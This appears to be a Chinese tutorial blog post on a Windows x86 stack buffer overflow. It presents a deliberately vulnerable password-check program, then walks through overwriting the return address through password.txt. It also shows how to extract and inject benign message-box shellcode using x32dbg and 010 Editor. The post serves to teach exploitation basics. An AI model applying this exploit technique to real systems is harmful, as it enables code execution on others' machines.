windows_栈溢出

#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
#define PASSWORD "s_hook"
using namespace std;
int checkPassword(const char* password, int size)
{
	char buff[7]{ 0 };
	int result = 1;
	memcpy(buff, password, size);
	result = strcmp(PASSWORD, buff);
	return result;
}

int main()
{
	int flag = 0;
	char password[500]{ 0 };
	FILE* fp = NULL;
	if ((fp = fopen("password.txt", "rb")) == NULL)
	{
		cout << "Open failed" << endl;
		return 0;
	}
	fread(password, sizeof(password), 1, fp);
	flag = checkPassword(password, sizeof(password));
	if (flag)
	{
		MessageBoxA(0, "Password Error!", "Attention", MB_OK);
	}
	else
	{
		MessageBoxA(0, "Password Correct!", "Attention", MB_OK);
	}
}

我们先设置一下配置属性，然后再生成解决方案。

我们现在的目标，不但要让程序弹出Password Correct，还要让程序执行我们自己的代码，也就是shellcode。

因为我们使用x86平台生成的程序，因此我们使用x32dbg打开程序：
首先要找到main函数，我们先进入这个jmp：

往下翻一翻，就找到main函数了：

然后进去我们的checkPassword函数：

我们根据ebp的值，找到当前的局部变量区域：
当前的ebp地址是0x19FD20，我们通过[ebp-4]和[ebp-C]来找到局部变量，这个本来局部变量只有7+4=11字节，但是程序却sub esp,C，开辟了12字节，是因为内存对齐。

注意，我们虽然没有开随机基址，但我们用此代码生成的程序，重启电脑后所有地址都会被改变，包括下面的程序涉及到的绝对地址。如何解决此问题我们以后再来说。如果要自己复现，请使用本文的分析方法，把程序的地址替换为自己的地址。

因此，我们的思路是，如果我们在password.txt文件中，写入足够的字节，覆盖掉main函数的call checkPassword存入的EIP，让这个EIP跳转到我们代码的位置，那不就实现了注入shellcode吗？

现在的问题来了，我们唯一的输入途径只有password.txt文件，那我们如何输入东西使得机器能识别我们的代码呢？这时候，我们就利用x32dbg来帮助我们提取shellcode。

#include<Windows.h>
#include<iostream>
void _declspec(naked) shellcode()
{
	__asm
	{
		push 0;
		push 0;
		push 0;
		push 0;
		mov eax, 0x767AAC60;
		call eax;
		xor eax, eax;
		mov ebx, 0x0040164A;
		jmp ebx;
	}
}
int main2()
{
	LoadLibraryA("user32.dll");//必须要LoadLibrary才能调用MessageBoxA函数
	shellcode();
	return 0;
 }

生成这个代码的程序，继续用x32dbg打开新的程序，找到我们的裸函数：

选中我们裸函数的汇编指令，然后右键鼠标，选择二进制，编辑。

复制数据页面中，有一个C样式Shellcode字符串，把里面的东西复制下来。

然后用010editor打开password.txt，然后先三个框框的数据：

红色框框是我们局部变量的数据，也就是buff和result变量的数据。青色框框是push ebp，所保存的ebp的值，紫色框框所表示的是返回地址。注意所有数据都是以小端序存储的，改成自己的数据的时候也要注意这个。

紫色框框的数据，直接改成返回地址的下一个地址就行，也就是：

因为我们的shellcode代码是紧贴着返回地址的，所以把返回地址写为下一个四字节地址就行。

然后，把我们刚刚复制的shellcode字符串，按ctrl+shift+v，就可以以字节数字的方式粘贴过来了。

为什么我们的汇编代码，还要加上

		mov ebx, 0x0040164A;
		jmp ebx;

呢？

这是因为函数是裸函数，函数指令执行完并不知道要跳转到哪里，所以我们自己设置跳转地址。这里我设置成call checkPassword的下一条指令。

至此，大功告成，运行我们的第一个程序，会先弹出这个：

然后再弹出：

按确定后，程序正常结束。